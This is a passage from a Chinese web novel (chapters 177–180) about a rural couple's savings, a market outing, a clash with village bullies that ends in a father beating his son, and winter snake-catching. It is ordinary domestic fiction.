“自己弄,到时候只算起屋子的工钱和盘炕钱。”裴厌想了一下,思索着说:“只有一间屋子,盖得快,工钱贵不到哪里去,这样,先按一两拨出来,怎么都够了。” 顾兰时照着他的话放出来一两,还和织布机的分开了。 之前做衣裳鞋子剩下的边角布料都没扔,他做了大大小小好几个钱袋,随便使,这样分开的话,到时候取钱也方便。 “还剩十九两六钱。”顾兰时笑眯眯的,说:“再差四钱,就是二十两。” 他一说,裴厌就起身到炕尾开箱子,从最底下摸出一个小钱袋,里头是近来卖鸡蛋卖猪的钱,有好几两呢,还只是碎银,串好的铜板串子都没拿出来。 “这就够了。”把四钱碎银放进去,裴厌又勒紧手里的钱袋口子。 刚要提议数数最近赚的钱,就听见外头狗叫,紧接着竹哥儿的声音响起,来送香油钱了,顾兰时只得作罢。 “来了!”他一边答应一边往外走,炕上的钱交给裴厌收拾。 去年攒下了二十两的家底从没动过,今天又凑够二十两,最起码,攒下四十两了。 在心里略微一算,顾兰时脚步轻快无比,还有三头猪没卖呢。 越想越高兴,他几乎都要哼小曲儿了。 第177章 挣钱的喜悦即便过了好几天,也是一想起来就让人忍不住露出笑脸的事。 宁水镇。 天碧蓝蓝的,风也小,是少有的好天气。 镇外陈三儿看车的生意一下子变得很好,平时他独自也能忙的开,今日家里老小都过来帮着揽客看车。 顾兰时和方红花等在路边,裴厌给了五文钱拿了半块木牌,过来后三人才一起往镇口那边走。 今年入冬后头一回来逛大集,小老太太很高兴。 正逢初五集会,但和过年前的大集会不同,眼下还没那么热闹,摊子没有摆到镇外来,都在镇子里面的街道上。 今天人挺多的,因是上午,多半人刚赶到镇上,因此进镇的人多,出去的人少。 街上各种摊子按路排开,吆喝声此起彼伏。 狐裘貂衣,锦缎布匹,陶盆瓦罐酱醋油茶,干果山货活羊活鹿活野禽,各种东西叫人眼花缭乱。 方红花在几头拴着的羊面前站定,瞅了几下说:“这不像家养的,像是山里的野羊,兰哥儿,厌小子,快来看。” 斜对面卖鸟笼子的摊前,顾兰时脚步停下,有的鸟笼里还关了鸟儿,在里面蹦跳着,时而低头喝水。 裴厌在他几步远的地方,目光扫过附近的摊位,最后落在隔了一段距离的茶叶摊子。 心想家里都是自家上山采的野茶,平时还好,过年时来了亲戚,总该弄点好茶叶待客。 他俩来往的亲戚也就顾家人,再没有其他,弄一点好茶也是应该的。 念头刚冒出来,就听见方红花在喊,两人都收回目光,往卖羊的那边走。 卖羊的是个老头,正蹲在那里抽烟,听见方红花的话,他放下烟杆子,一看这三人就知道,只是来瞧热闹,他没有起身,更没有招呼,但嘴里闲不住,说:“是野羊,逮住以后在家里养的,也能说是家养的。” “原是这样,我说呢,长得不一样。”方红花咂咂嘴,又道:“个头还不小呢。” 羊肉本就贵,更别说一整头羊,不过虽然买不起,但一会儿他们就要去吃羊肉了。 早上裴厌闲着没事,算算日子初五了,镇上有大集,就跟顾兰时商量,出门逛逛,逛完顺便在镇上吃顿饭,之前往来福酒楼送东西,和吴厨子闲聊时,得知楼里入冬后卖羊肉羊汤还有什么羊杂碎汤羊蹄子。 吴升文虽然言语中有几分自豪和吹嘘,但裴厌常常来宁水镇,也听过一耳朵,来福酒楼做的羊肉,不膻不腥,当属一手绝活。 天冷时吃一碗羊肉羊汤,浑身都暖和热乎,镇上不少人都好来福酒楼这一口,这也是酒楼冬天生意一直不错的原因。 同春酒馆虽然小,但能开好几年,而且名头也渐渐起来,同样是因有一手硬菜出名,炖大肘子那叫一个香而不腻,汁多嫩软,肥香脂厚,吃到最后盘子里剩下的肉汁也要用暄软热乎的白馒头蘸掉,馒头吸了肉汁,油香油香的。 这两样都是肉菜,价钱肯定要贵些。 今天来镇上,主要是想尝尝羊肉,羊肉平时不怎么吃,自然比大肘子更吸引人。 补碗匠腿上垫一块厚布,低头又是拉钻弓又是用小锤敲,摊前不少人拿着碗抱着坛,都是来修补的。 再往前走,茶叶摊和山货摊中间,还有个磨铜镜的,同样有好几个人抱着铜镜在等待。 方红花看见磨镜匠,说道:“我那个铜镜也有些花了,老是没见磨镜子的来,可惜这回出门时给忘了。” 因是裴厌临时起意,在祖宅门口喊她的时候,出门就有点着急,只记得带荷包。 顾兰时笑着说:“阿奶,下回再赶着大集来,我也要磨磨铜镜。” 磨镜匠、补碗匠和货郎一样,都会走街串巷,乡下也去,赶上了就不用往镇上跑。 裴厌在茶叶摊前问价,因茶叶多,他随手抓了一小把低头轻闻,摊主很殷勤,说这是南边来的好茶,又抓了一小把别的茶叶递过来,让他都看看闻闻,看喜欢哪个。 顾兰时和方红花过来,茶叶香气和别的东西不一样,闻着感觉很舒服,即便是干茶,这么多的量,站在跟前也是能闻到的。 “要买茶?”他问道。 裴厌把手里的一小把茶叶倒回去,在摊主的示意下,又看了看另外一种,说:“嗯,家里只有粗茶,也换换口。” 一听价钱,顾兰时没言语,贵是贵,但他俩刚赚了一笔,犒劳犒劳也是应该的,少买点就行。 最后裴厌要了两种茶,一样浓的一样淡的,各自称了一钱银子的,包起来不算太多,但足够尝鲜待客了。 三人在街上走走停停,看到卖秤杆的,顾兰时一下子停住脚,转头说道:“要不买一杆大秤,称猪称粮食有的使,还有戥子。” 戥子最常用来称银钱,上回卖了蛇,那么多碎银都是靠他俩用手掂掂,虽然大差不差,可有了戥子到底方便。 “好。”裴厌点点头,上前拿起一杆大秤先看东西。 摊主听见他俩的话,知道生意来了,笑着在旁边说自己的东西都好,又拿起小戥子递给方红花,让她细瞅瞅。 不一会儿,再往前走,裴厌手里就多了一杆大秤和一杆戥子。 今天太阳挺好的,随着人流逛这么一阵子,三人身上都热起来,甚至出了薄汗。 顾兰时转头看向方红花:“阿奶,饿不饿?要不咱们这就去吃饭。” 方红花被太阳晒得眯起眼睛,乐呵呵点头:“好。” 于是裴厌就领着他俩往来福酒楼方向走,路上经过一些食摊饭馆,今天有大集,人多,无论小摊还是馆子,老板伙计都卖力吆喝,见吃饭的人多,脸上笑意更是不断。 来福酒楼也是如此,裴厌和伙计认识,三人被引到一个空桌前坐下,伙计取下肩上布给擦了擦桌子,又给翻碗倒热茶,问想吃什么。 裴厌开口道:“三碗羊肉汤。” “好嘞。”伙计答应一声,见旁边桌吃完了,连忙撤下碗碟,端起往后厨走。 “阿奶,还想吃什么?”裴厌问道。 方红花下过馆子,大点的酒楼也吃过,一进来没有半分怯场,知道酒楼里的东西贵,她笑着摆摆手:“又不是弥勒佛,肚子能有多大?吃一碗羊汤就足够了。” 旁边桌子被另一个伙计引了人来,三个汉子坐下后,要的也是羊肉汤,和他们一样,一人一碗。 进来才多久,就新坐下好三四桌人,一半都是要羊肉汤的,可见生意有多好。 裴厌转头看看已经吃上的桌,心想头一回带夫郎和阿奶来酒楼吃饭,还是要一两道菜。 正打算问伙计都有什么菜,不想刚才领他们进来的伙计刘二泉端了一碟小菜来,直接放在他们桌上。 见裴厌不解,刘二泉咧嘴笑一下,说:“掌柜的要我送来,小菜而已,掌柜的说了,尽管吃。” 他说完,裴厌就看见从后厨出来的酒楼掌柜金有福,见有人喊结账,掌柜的连忙应声,于是裴厌一拱手,算是谢过。 掌柜的看见,笑着回了一礼便去忙了。 在镇上做生意,光有名气是不行的,金有福为人厚道,向来不会轻看人,哪怕是打杂小工,在附近名声很好。 刘二泉进灶房报菜名时,顺嘴和吴厨子说那三碗是裴厌几个要的,金有福听见,就让送一碟小菜过去,都是熟人,一碟小菜又值不了几个钱。 “别说,怪不得人家生意好呢。”方红花叹道。 “是。”裴厌笑着点头,取了筷子先递给他俩,让尝尝外面的小菜如何。 顾兰时夹了一筷子,认出是切成丝的菘菜叶,他尝一口,清脆爽口,偏酸。还带一点点微辣,确实和家里的不一样。 “可真好吃。”方红花吃完满口赞叹,这送的东西不用花钱,自然是怎么吃都香甜。 很快,刘二泉用盘端来了三碗羊肉汤,各自还有一块烙饼,好就着汤吃,放下最后一碗后,他朝裴厌使个眼色,见裴厌微微点头,就笑着去招呼别的客人。 裴厌用筷子一翻碗底,见羊肉片子很实在,他听人说过,来福酒楼的羊肉汤量很足很实在,但碗里的这些明显超过了心中所想,再抬头略一看旁边桌,心里更明白了。 顾兰时先端起碗喝了一小口热汤,汤香浓而不膻,下肚后很是滋润,他刚放下碗,想捞一片肉尝尝,桌子底下,腿忽然被轻轻撞了下,他疑惑抬头。 裴厌笑了笑,没说话,只用筷子把碗里的肉片翻出来示意他看,随后摇了摇头。 顾兰时一下子领会,转头见他阿奶夹了好大一筷子羊肉,露出惊异的神色,连忙用一根手指比在嘴唇上,冲小老太太摇了摇头。 正想感叹人家羊肉竟给的这么足,捞一筷子上来下面还有,见孙子孙婿都看向她,方红花赶紧止住已经到嘴边的话,改口道:“快吃快吃,趁烫乎。” 三人再没说话,也确实饿了,一人拿一块烙饼在手里,埋头就吃。 酒楼今天生意很好,直到他们三个吃饱喝足,碗光碟光,依旧有食客陆续进来,多数还要的都是羊肉汤。 知道吴厨子忙,裴厌没有进去打搅,只和刘二泉道一声,结好账就先走了,也给别的食客腾位子。 肚子饱饱的,离开来福酒楼这条街道后,顾兰时笑着说:“还好没点别的菜,最后羊汤一下肚,都有点撑了。” 方红花吃得高兴,附和道:“可不是,人家这份量。” 裴厌同样吃尽兴了,笑道:“肯定是吴叔给的,掌柜的估计都不知道。” 方红花压低了声音:“嗐,人家好心待咱们,可不能说漏嘴。” “正是。”裴厌笑着应和她。 三人高高兴兴来,又高高兴兴赶车往回走,吃得浑身都热乎,冷风都不怎么畏惧了。 第178章 河边芦苇丛,干黄的芦苇随风轻晃。 河道蜿蜒,水面没有冻实在,河水流淌,冰块顺水往下游浮动。 岸边空旷而阔,顾兰时背了个竹筐走来,手里拎着小锄头,到芦苇丛跟前后,把竹筐放在地上,取出里面的麻绳和镰刀,先蹲在这里用锄头挖芦苇根。 一到深秋,割芦苇的人就多,离村子近的地方,芦苇已经不剩多少了。 他今天带了麻绳,想着等会儿顺着河道走远一点,去割些苇子,家里每年要晒不少菜干,多编几张苇席,晒什么都方便。 灰灰从后面赶来,绕着他走了两圈,听见不远处其他人的声音,抬头警惕望过去,耳朵竖得尖尖的。 昨天去山上捡柴火,带上了大黑,让它出来放了放风,野跑了半天,今天出来,就换了灰灰。 家里有鸡鸭要看着,不能三只都跑出来,轮换着出门逛逛也好。 今天裴厌又去山上找蛇了,他在家里没事,拾掇了一遍西屋后,就想着出来挖筐苇根,顺便打一捆芦苇回去。 见没有危险,灰灰顺着河道往上游走,一边走一边到处闻,河边有一点湿泥,它不小心踩了一脚后,呜呜呜跑回来,给顾兰时看它前爪上的泥。 顾兰时忙着挖苇根,以为它在玩,就没有理会,不想灰灰伸长了前爪,屁股在后面撅着,硬是把右边前爪现到他眼下。 “瞎讲究。”顾兰时明白过来后笑骂一句,起身挎了几片芦苇黄叶,给它擦了擦爪子上的湿泥。 湿泥刚沾上,还算好擦,但没法弄得特别干净,糊弄了几下后,顾兰时扔掉手里的芦苇叶子,说:“好了好了,干净了。” 灰灰歪着脑袋看它爪子,沾到湿泥的毛毛依旧有泥点子,不过比刚才好多了,它似乎很满意,又呜呜一声,跑到别处玩了。 家里的狗一只比一只精,脾性也很不相同,灰灰在爱干净这方面,远超灰仔和大黑,下雨后它都不爱走泥路,就算走,也是很快跑过去,要么捡着没有水的地方,像是生怕爪子沾到泥水,也只有下雪的时候会和灰仔一起在雪地里疯跑。 顾兰时没管它,发出来就是让玩的,何必拘束。 挖出来的芦苇根带着泥块,他拎着短茬在地上磕了磕,随后丢进竹筐里,正忙着,忽然听见不远处传来几声叫骂,他下意识抬头看过去。 徐瑞儿被两个小子追,跑得踉跄,正巧向他这边跑来,只是还没跟前,就被地上干了的藤蔓绊得,直接摔了个跟头,连手里的竹筐都甩飞出去,掉下后在地上滚了几滚。 “汪——” 灰灰听见动静,叫两声直接飞奔过来,警惕地盯着那几人,因为不是在家里,不用看家护院,它没有轻易狂吠。 顾兰时认出撵徐瑞儿的人是林楞娃和杨小升,应该还有个林驴儿,今日却不见林驴儿影子,不知道是不是上回被咬怕了。 摔倒之后,徐瑞儿回头一看,那两人要追上来了,爬起来就往前跑,甚至没忘了他的竹筐。 林楞娃和杨小升比徐瑞儿大几岁,却这么欺负一个孤苦小儿,顾兰时看不下去,喊道:“瑞儿,过来。” “管你爷爷的闲事!” 林楞娃平时脾气就很冲,心眼也不好,一言不合就骂人是常事,他甚至都不怕妇人和夫郎,只有长辈汉子才能喝止住他。 他只顾着要打徐瑞儿,好给他兄弟驴儿报仇,打眼一看是个双儿,脱口就骂了出来,说完后才反应过来是顾兰时。 顾兰时家里那位可不得了,别说他,他爹也不敢惹。 徐瑞儿原本没看清前头的是谁,只想跑走。 林楞娃和杨小升是两个人,他打不过,而且这两个比林驴儿更坏,他记着哥哥的话,也不想挨打,但回村子的路被那两人堵住,他没法跑去大爷爷家里告状,被追的只能往这边跑,不想前面的人竟是顾兰时。 因为之前的事,他天然对顾兰时有着信任,想也不想就跑了过去。 见林楞娃满口爷爷爷爷的,顾兰时气不打一处来,骂道:“欺负个小孩算什么本事?你也不想想,你大了他几岁,多吃两年饭就不得了,黑心烂肺的东西!” “汪!” 灰灰似乎在帮顾兰时壮声势。 林楞娃哪里被年轻夫郎骂过,平时都是他骂别人,有心想还嘴,可心底实在有顾虑。 见杨小升在旁边,他也只好充脸装势,朝地上啐一口,骂道:“爷爷才不和一个双儿计较,今儿就便宜你姓徐的。” 话音刚落,觉得气势足了,但心里始终在打鼓,万一裴厌找上门呢,于是当即就有点后悔。 “啪!” 还没想好对策,后脑勺忽然挨了一巴掌,紧接着杨小升也被“啪”地一声打了。 林楞娃心头火一下子猛窜上来,回头提拳头就要打,却被顾兰瑜一棍子抽在胳膊上。 花惜霜和竹哥儿落在后头,见打起来了,竹哥儿拽着小嫂子胳膊一边往顾兰时这边走一边避远,省得伤到他俩。 “会不会有事。”花惜霜很担心,眉头一下子皱起来,生怕狗儿吃亏。 在家时她年纪最小,哥哥姐姐都护着,爹娘也疼得不行,她很少和村里的小子玩耍,只和姑娘双儿在一起,哪里见过打架的场景。 “放心,不会有事,林楞娃和杨小升怂着呢。”竹哥儿安慰道,比起前两年被赵小吉欺负哭,如今他语气里透着见过大场面的淡定。 顾兰瑜冷笑着,一把抓过林楞娃,照他脸上重重拍了几下,掐着对方后脖子问:“小兔崽子,跟谁充爷爷呢?” 林楞娃不敢还手,顾家倒是还好,顶多挨顿揍,裴厌那尊煞星在后头呢,越想越觉得后怕,连话也不敢说了。 杨小升在一旁大气不敢喘,他上头有个哥哥,叫杨高升,从前总和赵小吉瞎混,而他跟着他哥哥,也只会欺负人。 后来赵家被裴厌打成那样,赵小吉再没敢在村里装腔作势欺负人,连他哥和他,都不敢跟顾家的同龄人对上,不想今儿倒了霉。 别说裴厌,光顾兰瑜,他哥杨高升也不敢惹,以前顾兰瑜和顾兰兴合伙打过赵小吉,他知道对方不好惹。 况且顾兰瑜比他俩高出一截,手里还有棍子,一看就打不过。 幸好他刚才没骂出声,杨小升在心底默默庆幸。 “刚才不是能耐得很?跟谁充大爷呢,啊?”顾兰瑜松开林楞娃脖子,一脚就踹了过去,直接将人踹倒在地。 对方比他小,他没有下手真去打,骂道:“下次再叫我碰到,可不就是一脚的事,滚。” 杨小升不敢出声,他有心想先跑,又觉得颇不仗义,叫林楞娃传出去名声可不好听,只得等林楞娃爬起来后,两人才一起跑了。 “我告诉你俩,以后也不准欺负瑞儿!不然见一次打一次。”顾兰时在后面仗着弟弟狐假虎威。 “听见没有!”顾兰瑜喝道。 林楞娃和杨小升只觉倒霉,话都说不出口,只回头猛地点头,随后又跑了。 看见他俩和刚才追撵徐瑞儿的嚣张气焰截然相反,顾兰时忍不住笑了下,骂道:“欺软怕硬的东西。” 徐瑞儿见那两人跑远了,发呆似的回过神。 “行了,拍拍身上土,以后应该不会打你了。”顾兰时说道。 他实在可怜徐瑞儿,孤苦伶仃的,哥哥不在家,一个人过活,还要受欺负,于是又开口:“下回,他们要再敢打你,你就来后山,我让你裴厌哥哥收拾他几个。” 几个坏透的半大小子欺软怕硬而已,村里别的小孩有爹有娘,怎么不见他们三个敢欺负。 林楞娃刚才面对狗儿就一副不敢惹的模样,估计都不用裴厌动手,吓唬一下就怕了。 “嗯!”徐瑞儿重重点头,他知道的,活阎王可不好惹,一下子心里都似有什么沉重的东西松动了。 自从徐启儿去做工以后,他就常常受到那几人欺负,突然看到不用挨打的希望,哪能不高兴。 “出来挖什么?”顾兰时问道。 徐瑞儿开口:“芦苇根。” 顾兰时说:“这个是药材,晒干了能卖,是想卖点钱?” “嗯。”徐瑞儿点头。 这附近芦苇根不多,顾兰时笑了下,说:“那你就安心在这里挖,他们不敢再来了。” 他拎起自己的筐子,对竹哥儿几个说:“我去上游那边,割些苇子,你们呢?” “一起。”顾兰瑜说道。 竹哥儿边走边笑眯眯同他透露:“前天夜里爹烧炕太热了,底下苇席都给烧黑了,娘让出来割芦苇,闲了再编一张苇席。” 原是这样,顾兰时也笑了。 第179章 篱笆门上了锁,顾兰时将背上的一捆芦苇放在地上,这才从怀里摸出钥匙开锁,门里的大黑和灰仔早就按耐不住,尤其灰仔,狼嚎一样叫了几声。 等门一开,两只都从门缝里挤出来,一边蹭顾兰时一边冲着灰灰叫,很不满只有它出去。 裴厌还没回来,不知道今天在山上有没有收获。 顾兰时往西边树林子看一眼,没见着踪影,就先进去了。 快到晌午饭时,他回来把芦苇在谷场上铺开晾晒,苇根也倒出来,晒几天就干了。 灶房案台旁堆了些菜,几根萝卜几颗大菘菜,还有半筐昨天从山上挖回来的冬笋。 他卷了袖口系上襜衣,看一眼菜堆,还是决定吃肉炒笋子,随即一个人在灶房忙碌起来。 今天太阳不是很好,风时不时刮起来,大黑趴在有阳光的地方,身上长毛被风吹得飘起。 它毛长皮厚,这两年吃得肥了,再没掉过肉,根本不惧寒风。 灶底火光闪动,喷香的菜味飘散,顾兰时用木铲把肉片和笋片盛在大碗里。 裴厌饭量大,家里有足够的菜蔬,自然要管够了吃,况且大冬天,只有吃饱了才能抵御严寒。 正在想怎么还没回来,就听见狗叫声响起,还往外面跑,一看就是去迎接,顾兰时放了心,这下不用把饭菜捂在锅里等待。 “裴厌?”他喊了一声,随后掀开另一口大锅的锅盖,迎面冒出阵阵白汽。 锅里是煮好的米汤,中间是放了馒头和包子的竹架。 “是我。”裴厌人还没进院子,声音先传了进来。 因不赶车出门,院门门槛没有取下,他一步跨进来,把手里的长铁锨和长锄头靠在院门后面。 而他左手上,还用木叉挑了一块麻袋,也不知是做什么用的,同样放在了门后,并踢了一脚靠近的狗,不让闻麻袋。 他背上还有个大竹筐,走到墙角把筐子最上面两个麻袋拿出来。 麻袋装的东西不多,看着却也有些分量,其中一个麻袋里头,长条状的粗东西若隐若现,还在游动,另一个麻袋里安静得多。 “汪!” 三只狗冲着麻袋吠叫,他没有管,因为高兴,在离得最近的灰仔脑袋上揉了一把。 灰仔威猛的叫声一下子变了,喉咙里撒娇一样嘤嘤呜呜叫着,用大脑袋来蹭他手和腿。 只是顺手而已,他没有多理会灰仔,又拎起竹筐,来到院子中间。 竹筐最底下,有顾兰时叮嘱让他随身带的两个药包,一个是雄黄粉,另一个是解毒的药粉。 进山之前他给腿上脚上抹了些雄黄,至于见效如何,因冬天毒虫毒物都找了地方缩起来,不像夏天那么繁多,因此除了挖蛇洞时,没有别的效用。 不过有备无患,他并不觉得这样多此一举。 顾兰时一边盛饭一边说道:“陶罐里有热水,洗了手就能吃饭。” “知道了。”裴厌把药包拿出来放在灶房窗台上,随即舀水洗手。 泥炉底下有火,正煨着放在炉上的陶罐,火是顾兰时做饭前顺手点的,在外头挖苇根打芦苇,回来时火早就熄了。 白天只要他俩在家,炉底始终有火,不然只有冷茶水可喝。 热腾腾的饭菜端上桌,见有风,顾兰时把堂屋门关了半扇,用脚踢了一块石头挡在门板后面。 天冷,饭菜凉得快,要趁热吃进肚里,不然胃遭不住。两人端起碗拿起筷子,一边吃一边简单说了几句话。 得知今天又有收获,有一条大蛇后,顾兰时高兴之余,对长虫的畏惧依旧不减。 等到吃饱后,裴厌放下筷子,才仔细跟他说起今天的收获。 除了那条大银环以外,还有五条别的蛇,没上回那么多,五条加起来,估计能卖一两多,已经很不错了。 因银环剧毒,长得又粗大,一看性子就凶烈,抓的时候他直接扔了一条麻袋过去盖住蛇头颈,随后抄起铁锨就拍下去。 第一下他控制了力度,见蛇身不动了,有心想掀开麻袋,又怕毒蛇装晕,趁不备时攻击,于是又给了两下,也都收着力。 确定不动了以后,才敢用铁锨把麻袋挑走,同时另一手拿了木叉,迅速叉住了蛇头。 今天这条大银环命也挺硬,拍了三下脑袋没有被砸开花,当时也不好分辨活着没,赶紧装进了麻袋,刚才取出来放在墙角的时候,分明看到它又动了,显然活着。 后面抓到的五条蛇,则用另一个袋子装着,还挖到一窝小蛇,他没有捉也没有打死,又把洞口给填上了。捉毒物是为了卖钱,又不是为赶尽杀绝。 裴厌喝一口热茶,又道:“盖住蛇脑袋的麻袋,我怕沾到毒液,就没用手碰,用木叉挑着回来的,后面要再去抓蛇,用这个比较好使,笋子就没去挖。” “没挖就没挖,以后再拿那条麻袋,可得小心些。”顾兰时一想到蛇的毒液,心里还是有点不安,想了一下说:“要不,我给你缝一双布手套,以后用那条麻袋的时候戴上,还有,碰蛇的时候也戴上。” “好。”裴厌点点头,这样确实更放心。 顾兰时起身收拾碗筷,顿了顿,还是劝道:“这回再卖了蛇,要不,今年先不捉了,到底是山上的野东西,每年冬天挣上两回钱,也够咱们过活了,还是安稳些。” 知道他的忧虑,这次一条大银环应该也能卖十两,裴厌心里还是很满意的,于是答应道:“好,今年就到此为止,等会儿我就套驴车,去镇上把这些卖了。” 这会儿才晌午,跑一趟宁水镇确实来得及,见他没有反驳,顾兰时心里一松,笑道:“行,早卖了也好,还早呢,别赶得太急,刚吃完饭,受了风可不好,歇一歇。” “嗯。”裴厌点点头,和他一起往外走,等了碗筷刷了锅,还要煮一锅猪食,两个人到底快些。 灶房里,说着闲话,顾兰时提起徐瑞儿,就把上午的事随口说了出来,包括狗儿教训了林楞娃和杨小升的事。 他平时和裴厌有什么说什么,向来不作隐瞒。 乡下日子,除了干活就是一些闲话,也没什么新鲜的,稍微遇到个什么事儿,可不就成了口中闲聊。 刚听到追打徐瑞儿时,裴厌神色没什么波动,但一看顾兰时脸色,就知道他肯定管了这事。 果然,顾兰时对林楞娃和杨小升很看不上,竟欺负个娃娃,言语神色间全是鄙夷和气愤。 “你是没见着,林楞娃那副样子,我记得他才十三四岁,并不大的年纪,张嘴闭嘴就要当别人爷爷,他爹娘也不管管,由着他这样在外面嘴里不干不净的吆五喝六,小小年纪跟个地痞无赖一样,着实可恨了。” 顾兰时平时说话笑眯眯的,但提起这些可恨的事,总一副愤愤不平的模样,眉眼很是有生气。 裴厌一下子抓住了重要的词眼,问道:“这些话他对你说了?” 顾兰时愤愤开口:“可不,给我气的,哪能不骂他,他脾气还挺冲,不过我当时就看见后面走来的狗儿了。” 说到这里,他忍不住笑了下,又道:“狗儿从小就机灵,冲我摇摇头,我就知道什么意思,他走到林楞娃和杨小升后面,抬手一人抽了一下后脑勺,给他俩都打蒙了。” “该打。”裴厌声音平静,但眼眸微微偏冷。 “就是该打,他俩怕狗儿,杨小升还好,一直没说话,没有挨揍,林楞娃被踹了一脚,毕竟狗儿比他俩大,总不能做欺幼的事,他俩跑时,也同他俩说了,以后不准再欺负瑞儿。” 说完,顾兰时心里的气愤也随之倾吐了出来,心里松快了许多。 他看一眼裴厌,笑着又开口:“你当时不在,见瑞儿可怜,一个人孤苦伶仃的,我就说,以后要再有人欺负他,让他过来找你。” “嗯,我知道了。”裴厌点头,在他心里,顾兰时在外打着他的名头说话办事天经地义,因此没有任何反应。 提起这个,是顾兰时觉得自己在徐瑞儿面前夸下了海口,然而裴厌却不知情,实在有些不好。 他从未以裴厌的名义跟人对上过,因此心里还有点忐忑,见裴厌没有怪他多管闲事,一下子就高兴了。 等忙完家里的活,裴厌套了车去卖蛇。 这回毒蛇不在家里过夜,晚上睡觉不用担心,顾兰时甚至送他出了门。 太阳被云遮住,天色有点不好,裴厌走后他没有再出门,在屋里笼了盆火一边烤一边做针线,布手套简单,趁早缝出来,明年冬天要再去抓蛇,就有现成的。 * 村子里,不少人见天色变了,想出门走趟远路的,大多都歇了心思,夜里说不定要下雪。 严寒带来的威慑,叫人不由从心底里产生畏惧,只有待在家里,似乎才能安心一点。 不少人都在检查屋顶棚顶,若有疏漏处,得提前加固加固,不然要是来一场大雪,容易压塌了。 林金根和他夫郎也是如此,两个人把柴房也看了一遍,见二儿子在院里啃馒头发呆,小儿子才四岁,拿了根树枝在地上乱划。 林金根骂了一句,让二儿子,也就是林楞娃快去喂猪。 林楞娃上午挨了教训,最重的只有那一脚,倒是没受伤,只是自打回来后,一想起裴厌那个活阎王,心里就突突突打鼓,生怕找上门来,因此好半天了,一直神思不宁。 “快去快去,小心你爹打你。”林金根夫郎嘴上这么说,对儿子却从来都是护着的。 两口子都是如此,自己儿子在外头跟人打架,每每赢了回来,只觉得自家老二有本事,乡下这些半大的野小子,哪个不打架?打赢才是本事呢,孬种怂蛋以后连日子都过不好。 林楞娃刚起身,就看见门口来了人,牵着驴车,本以为是过路的,只是忽然发觉对方很高。 他心里一惊,脸色都有点变了,腿脚发软,连道都走不动,只在心里哭天抢地,真是好的不灵坏的灵!怎么就真的来了! 林金根和夫郎都看见了门口的人,一抬眼,却是裴厌,两人都一愣,发现对方在院门口停下后,眼皮突突地跳。 林金根心头狂跳,带着真真不安,脑子里乱哄哄的,平时也没什么来往,难不成,是来寻仇的? 可也没结仇啊。 随着裴厌让毛驴在门口停下,转身看向他们,也没进门,只冷冷看向林楞娃。 那目光犹如实质,林楞娃不知不觉额上起了一层冷汗,脑子里莫名浮现出,前几年娄进的惨状。 娄进差点被砍掉一只手,当时他年纪小,混在人堆里也看见了,那天娄进浑身的血,还有手的惨状,一直深深刻在心里,这会子见裴厌盯着他,他双腿发软,垂在身侧的手也在抖。 林金根见裴厌堵在门口,一句话都没说,咽着吐沫同样有些惊惧,这煞星,自己分明没有招惹,可看神情,分明就是来寻仇的。 不过在发现裴厌盯着二儿子后,他僵硬扭头看一眼林楞娃,脑子里灵光一现,忽然有点明白了。 “我打死你!” 林金根抬手就扇了林楞娃一耳光,劈头盖脸骂道:“成天在外头惹是生非,说!这回又做什么了?” 他夫郎见儿子挨打,有心想劝,但实在畏惧裴厌,动都不敢动。 林小楞见二哥被打,吓得“哇”一声哭了。 哭声让他阿姆心头一颤,立马跑过去捂住他的嘴,直接将小儿子抱进屋里,躲着不敢出来。 林楞娃有点吓破胆了,话都说不出,腿脚直打哆嗦。 他平时在外头怎么耀武扬威,也不过是半大小子之间的打闹,而且同龄人比他更壮实的,他根本不敢欺负,也只敢拿比他小的孩子欺辱取乐,只是这样更让人恶心。 让被欺负的喊他爷爷还是轻的,朝人家吐口水撒尿这样的事,他背地里干过好几回。 见他一个字不说,林金根装出来的火气也“腾”的窜上来几分,又是一耳巴子甩过去。 儿子惹了事,自己却什么都不知道,见问不出来,林金根硬着头皮看向门口。 他觉得喉咙有点发干,于是又咽咽吐沫,讪讪说道:“那什么,这小子要是惹了什么事,我、我打死他,只是他到底还小,我也得、也得知道他惹出什么祸了。” 裴厌很冷静,说:“你儿子挺出息,在外头到处给人当爷爷,这回当到我头上了。” 林金根年纪也不算大,正值壮年,常年干农活身体很好,却一口气差点没喘上来,气得倒仰,往后退了两步才稳住,他连忙用手给自己顺心口,喘过来以后,指着林楞娃的手指都在发颤。 爷爷?林楞娃是他爷爷! 惹出这么大的祸事,林金根气得脸都肿胀发红,抄起院里一根棍子就打。他下了狠手,打得林楞娃鬼哭狼嚎,惨叫不已。 裴厌就站在门口看,没有任何不忍。 确实像顾兰时说的,林楞娃比他小六七岁,他不屑下手,要揍只能揍林金根。 成亲以后,他心中戾气渐渐平息,知道狗儿已经教训过林楞娃,就没有那么大的火气,他这会儿过来,不过是想看看林楞娃有没有听进去,顺便,再让他记牢点儿。 一顿好打过后,林楞娃胳膊上腿上都是伤,脸颊也被他老子几个耳光甩的肿起。 哐当—— 林金根打得累了,丢掉手里的木棍,又转头去看裴厌,露出个讨好的神色。 裴厌看他一眼,目光又落在林楞娃身上,说:“以后再欺负徐瑞儿,就没这么简单了。” 说完他没有多留,牵起毛驴就走了。 再看不到身影后,林金根这才擦擦头上汗水,又踢一脚地上的林楞娃,恨恨道:“装什么死,今儿不给老子说清楚了,连你皮揭掉!” 林楞娃见门口没人了,这才哭得涕泗横流,将上午的事说了出来。 他阿姆蹑手蹑脚打开窗子,见煞星走了,他实在心疼儿子,眼泪一下子淌出来,刚哭两声我的儿,就被林金根瞪了回去,一下子就把哭泣憋在嘴里,再不敢出声。 对顾兰时称爷爷,那和对着裴厌称爷爷有什么区别? 得知了前因后果,林金根抬手还想揍两下解恨,但见林楞娃瑟缩的模样,到底没下去手,只恨恨骂道:“孽种!” 这回还好,他自己动手,要是裴厌进来,估计就不是一顿打的事了,万一缺胳膊少腿儿,日子还怎么过。 第180章 林金根打儿子的动静左邻右舍都听见了,有想瞅瞅热闹的,刚走出院门就看见裴厌站在林家门口,吓得立马缩回去,在院里竖起耳朵听,但只能模糊听见几句。 发现裴厌走了之后,纵然想打听打听,可林金根已经把院门关上了,旁人一时不知发生了什么,竟惹到后山的煞星。 要不是太阳被云遮住,起风了,没几个人出门说闲话,不然这热闹,早就在众人的口中传开。 顾兰时在屋里烤火,做针线一久,腿脚容易凉,笼了火盆就好多了。 房门掩着,没有关严实,忽然,房门轻响,一道灵活的黑影挤进来。 大黑用脑袋顶开屋门,进来后吐着舌头咧嘴,用脑袋蹭了蹭顾兰时后背,随后直接在火盆旁边趴下。 